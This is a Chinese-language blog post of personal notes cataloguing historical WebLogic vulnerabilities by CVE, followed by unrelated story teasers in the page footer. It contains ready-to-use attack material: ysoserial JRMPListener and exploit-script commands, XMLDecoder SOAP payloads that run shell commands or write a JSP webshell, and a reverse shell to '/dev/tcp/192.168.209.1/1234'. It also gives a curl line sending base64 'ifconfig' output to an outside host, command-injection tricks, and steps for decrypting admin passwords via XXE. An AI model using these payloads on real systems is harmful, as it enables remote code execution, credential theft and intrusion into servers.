Weblogic历史漏洞整理

没有过多涉及原理和分析,只是作为记录,免得一问三不知。

T3协议

  • 什么是RMI:远程方法调用(Remote Method Invocation)。能够让在某个java虚拟机上的对象像调用本地对象一样调用另一个java 虚拟机中的对象上的方法。
  • Java远程消息交换协议 JRMP 即Java Remote MessagingProtocol,是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用RMI之下、TCP/IP之上的线路层协议。,也可以使用CORBA兼容的方法实现。详细介绍请参考:https://blog.csdn.net/cdl2008sky/article/details/6844719

T3协议是用于Weblogic服务器和其他Java Application之间传输信息的协议,是实现上述RMI远程过程调用的专有协议,其允许客户端进行JNDI调用。

当Weblogic发起一个T3协议连接的时候,Weblogic会连接每一个Java虚拟机并传输流量,由于通信过程得到了极大的简化,所以使得其在操作系统资源利用上实现的高效以及最大化,同时提高了传输速度。

CVE-2015-4852

此漏洞主要是由于apache的标准库中Apache Commons Collections基础库的TransformedMap类中。根据@breenmachine的文章,他当时找漏洞的方法是,对weblogic在7001端口的T3 协议进行抓包,发现流量中有java反序列化之后Magic(幻数)ac ed 00 05,然后替换掉对应的部分。

利用方式等同下面的CVE-2016-3510,只不过payload不一样。

CVE-2016-0638

此漏洞是基于CVE-2015-4852漏洞进行黑名单的绕过,CVE-2015-4852补丁主要应用在三个位置上:

  • weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream
  • weblogic.rjvm.MsgAbbrevInputStream.class
  • weblogic.iiop.Utils.class

所以如果能找到可以在其readObject中创建自己的InputStream的对象,并且不是使用黑名单中的ServerChannelInputStreamMsgAbbrevInputStreamreadExternal进行的反序列化,最后调用readObject()方法进行反序列化的数据的读取,这样就可以执行含有恶意代码的序列化代码。依据这个思路找到了weblogic.jms.common.StreamMessageImpl类,其中的readExternal()方法也符合攻击的需求。

利用方式等同下面的CVE-2016-3510,只不过payload不一样。

CVE-2016-3510

此漏洞是与CVE-2016-0638漏洞利用方式相似,只是选择了weblogic.corba.utils.MarshalledObject进行绕过,绕过之前的CVE-2015-4852CVE-2016-0638漏洞的修复补丁。
利用方式参照 https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/WebLogic%20CVE-2016-3510.py

CVE-2017-3248

Apache Commons Collections基础的漏洞已经进行修补,所以CVE-2017-3248漏洞利用方法与之前三个漏洞不同,这次主要是利用了JRMP java远程方法协议。
利用java.rmi.registry.Registry,序列化RemoteObjectInvocationHandler,并使用UnicastRef和远端建立tcp连接,获取RMI registry,最终将加载的内容利用readObject()进行解析,导致之前序列化的恶意代码执行。
利用方式可以参照 https://github.com/quentinhardy/scriptsAndExploits
或者下面

CVE-2018-2628

CVE-2018-2628漏洞与CVE-2017-3248漏洞利用方法类似,仅仅更换了使用的rmi接口,用java.rmi.activation.Activator替换了CVE-2017-3248所使用的java.rmi.registry.Registry,从而绕过resolveProxyClass的判断,成功绕过了CVE-2017-3248漏洞的修复补丁。

vulhub演示地址

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

其中,[command]即为想执行的命令,而[listen port]JRMP Server监听的端口。

python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

[JRMPClient]:有JRMPClientJRMPClient2两个选项,两者只有接口类名的差别。
然后weblogic就会回连到攻击者JRMPListener ip,执行[command]

CVE-2018-2893

CVE-2018-2893漏洞绕过方式是利用StreamMessageImplysoserial工具中的JRMPClient生成的payloadObject进行封装。相当于使用CVE-2016-0638的利用方式加上CVE-2017-3248的 payload 来绕过补丁。
利用方式可参考
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628

CVE-2018-3191

没看到具体介绍,只知道也是T3协议的锅。
这里下载payload生成,https://github.com/voidfyoo/CVE-2018-3191/releases
weblogic-spring-jndi-12.2.1.3.jar for weblogic:

  • 12.2.1.3

weblogic-spring-jndi-10.3.6.0.jar for weblogic:

  • 10.3.6.0
  • 12.2.1.0
  • 12.1.3.0
  • 12.2.1.1

先生成一个payload,触发weblogic回连。
java -jar weblogic-spring-jndi-10.3.6.0.jar rmi://攻击机ip:端口/exp > payload
攻击者IP开启rmi服务
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 端口 CommonsCollections1 "要执行的指令"
然后用weblogic.py向weblogic发起请求
python weblogic.py 172.20.0.2 7001 payload
weblogic就会回连到攻击者IP,然后执行[command]

CVE-2018-3197

没找到介绍

CVE-2018-3201

没找到介绍

CVE-2018-3245

是补来补去一直没有修好的Weblogic JRMP反序列化漏洞。只要满足继承java.rmi.server.RemoteObject,且不在黑名单之中的类对象。 这里通过ReferenceWrapper_Stub这个类对象绕过。
POC生成可以参考 https://github.com/pyn3rd/CVE-2018-3245
利用方式等同 CVE-2018-3191

CVE-2019-2890

CVE-2019-2890又又又绕过了Weblogic的反序列化黑名单,使攻击者可以通过T3协议对存在漏洞的Weblogic组件实施远程攻击,但该漏洞利用条件较高,官方也归类为需要身份认证。
具体分析过程看 https://paper.seebug.org/1069/,文章的作者也给出了漏洞验证的方式:https://github.com/SukaraLin/CVE-2019-2890

标记重点:需要先获取服务器上的密钥文件SerializedSystemIni.dat来加密序列化后的字节流,而这个文件每台服务器都不一样。这就是这个漏洞鸡肋的地方。

HTTP协议

CVE-2018-3252

DeploymentService组件存在反序列化漏洞,需要登陆后才能使用。
POC生成可以参考 https://github.com/b1ueb0y/CVE-2018-3252

CVE-2017-3506

此漏洞主要是由于wls组件使用了webservice来处理soap请求,在weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法中,当localHeader1localHeader2都不为null时,将会把<work:WorkContext>所包含的数据传入weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld方法,在此方法中,对WorkContextXmlInputAdapter类进行了实例化,并调用WorkContextXmlInputAdapter类的构造方法,通过XMLDecoder()进行反序列化操作。
可利用路径如下

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

下面的POC等同于执行命令/bin/bash -c "touch /tmp/123"

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <void class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              <void index="0">
                <string>/bin/bash</string>
              </void>
              <void index="1">
                <string>-c</string>
              </void>
              <void index="2">
                <string>touch /tmp/123</string>
              </void>
            </array>
          <void method="start"/></void>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

CVE-2017-10271 Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞

CVE-2017-10271是对CVE-2017-3506修复补丁的一次绕过,可以看到唯一的变化就是把之前的Object标签变成了void标签。

可用来写shell的默认路径,都是servers/AdminServer/tmp/开头

  • bea_wls9_async_response
  • _WL_internal/bea_wls_internal/9j4dqk/war/
  • uddiexplorer
  • _WL_internal/wls-wast

访问http://your-ip:7001/bea_wls_internal/test.jsp

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
  <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% out.print("test"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

除此之外,网上还出现了一些变形的payload,大家发现可以直接利用new和method元素完成payload的构造,连void元素都不用了,所以payload还可以这样写:

<java version="1.4.0" class="java.beans.XMLDecoder">
    <new class="java.lang.ProcessBuilder">
        <string>calc</string>
        <method name="start" />
    </new>
</java>

CVE-2019-2725 wls9-async 反序列化漏洞

POST /_async/AsyncResponseService HTTP/1.1
Host: 172.xxx:7001
Content-Length: 789
Accept-Encoding: gzip, deflate
SOAPAction: 
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
 
<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/' xmlns:wsa='http://www.w3.org/2005/08/addressing' xmlns:asy='http://www.bea.com/async/AsyncResponseService'>
    <soapenv:Header>
        <wsa:Action>xx</wsa:Action>
        <wsa:RelatesTo>xx</wsa:RelatesTo>
        <work:WorkContext xmlns:work='http://bea.com/2004/06/soap/workarea/'>
            <void class='java.lang.ProcessBuilder'>
                <array class='java.lang.String' length='3'>
                    <void index='0'>
                        <string>/bin/bash</string>
                    </void>
                    <void index='1'>
                        <string>-c</string>
                    </void>
                    <void index='2'>
                        <string>bash -i >&amp; /dev/tcp/192.168.209.1/1234 0>&amp;1</string>
                    </void>
                </array>
                <void method='start' /></void>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body>
        <asy:onAsyncDelivery/>
    </soapenv:Body>
</soapenv:Envelope>

可以看到这回是利用class标签构造类,但是由于限制了method从而无法调用函数,因此,找了几个可以通过构造函数进行反序列化的类。网上通用的有

  • FileSystemXmlApplicationContext
  • UnitOfWorkChangeSet

利用方式可参考 https://github.com/lufeirider/CVE-2019-2725

CVE-2019-2729

翻译,https://xz.aliyun.com/t/5496

这个漏洞是CVE-2019-2725的Bypass,对于JDK1.6,使用<array method ="forName">标记有效地替换了<class>标记的功能。只需用<array method ="forName">标签替换<class>标签就可以有效地绕过黑名单。
利用可以参考下面列出的漏洞检测脚本,改个命令即可。
也可以参考这个,https://github.com/waffl3ss/CVE-2019-2729/blob/master/CVE-2019-2729.py

https://www.freebuf.com/vuls/206374.html
根据近些年 weblogic 由于 XMLDecoder 导致的反序列漏洞的缝缝补补中,可以看到虽然绕过的 poc 层出不穷,但是利用的范围却越来越窄,从一开始的所有 jdk 通用,到 7u21 以下可以利用成功,再到最近的绕过已经只能在 1.6 利用成功,可以看到,保持jdk 版本的高版本可以有效的防范 java 反序列化攻击。与此同时,对于基本用不到的 weblogic 组件,还是能删就删为好。

XXE

https://paper.seebug.org/906/

可以利用XXE读取base_domain中的名为SerializedSystemIni.dat的密钥和config.xml密文,用weblogic_decrypt.jar解密weblogic的登陆密码。
11g的密文在
安装目录/user_projects/domains/base_domain/servers/AdminServer/security/boot.properties
密钥在安装目录/user_projects/domains/base_domain/security/SerializedSystemIni.dat
10的密文在
安装目录/samples/domains/wl_server/security/boot.properties

任意文件上传

CVE-2019-2618

CVE-2019-2618漏洞主要是利用了WebLogic组件中的DeploymentService接口,该接口支持向服务器上传任意文件。登录weblogic之后,设置wl_request_type参数为app_upload,构造文件上传格式的POST请求包,上传jsp木马文件,进而可以获得整个服务器的权限。
另外,weblogic的DeploymentService接口的正常功能本来就能部署war包。
利用方式参考:
https://github.com/jas502n/cve-2019-2618

任意文件读取

CVE-2019-2615

需要登陆后才能利用。

GET /bea_wls_management_internal2/wl_management HTTP/1.1
Host: 127.0.0.1:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
username:weblogic
password:admin123456
wl_request_type:wl_jsp_refresh_request
adminPath:c:\windows\win.ini

CVE-2014-4210 SSRF

/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7000

关于命令回显

在linux中,被反引号包裹的字符串会被解释为命令行

echo `whoami` test
root test

windows下执行set可以看到一堆系统变量,用%号可以调用这些变量

echo %COMPUTERNAME%
你的计算机名

命令注入:利用管道符来注入要执行的命令

命令符(linux/win) 作用
;/& 多个命令顺序执行,无逻辑关系
&& 逻辑与,命令1正确执行后,才会执行命令2
|| 逻辑或,命令1不正确执行后,才会执行命令2

还有个|,如127.0.0.1|whoami,回显的是whoami的结果
利用Ping命令和dnslog结合获取回显结果

C:\Windows\System32\cmd.exe /c "ping -n 3 test.com || ping -c 3 test.com"
/bin/bash -c "ping -n 3 test.com || ping -c 3 test.com"

目测每个目标要执行两次POC
另外linux还可以通过curl命令来回显

curl test.com/`ifconfig|base64|tr '\n' '-'`

漏洞检测

只是检测是否存在漏洞,不是利用工具

https://github.com/aloswoya/weblogic
https://github.com/hanc00l/weblogic_unserialize_exploit

参考:
https://www.4hou.com/vulnerable/12874.html
https://icematcha.win/?p=1174
https://www.kingkk.com/2019/05/Weblogic-XMLDecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/
https://mp.weixin.qq.com/s/ebKHjpbQcszAy_vPocW0Sg
weblogic反序列化漏洞分析与调试
https://blog.csdn.net/qq_27446553/article/details/78952010
https://github.com/bit4woo/code2sec.com/blob/master/weblogic%E6%BC%8F%E6%B4%9ECVE-2017-3506%E5%A4%8D%E7%8E%B0%EF%BC%9AWeb%20Services%E6%A8%A1%E5%9D%97%E7%9A%84%E6%BC%8F%E6%B4%9E.md

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 206,214评论 6 481
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,307评论 2 382
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 152,543评论 0 341
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,221评论 1 279
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,224评论 5 371
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,007评论 1 284
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,313评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,956评论 0 259
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,441评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,925评论 2 323
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,018评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,685评论 4 322
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,234评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,240评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,464评论 1 261
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,467评论 2 352
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,762评论 2 345

推荐阅读更多精彩内容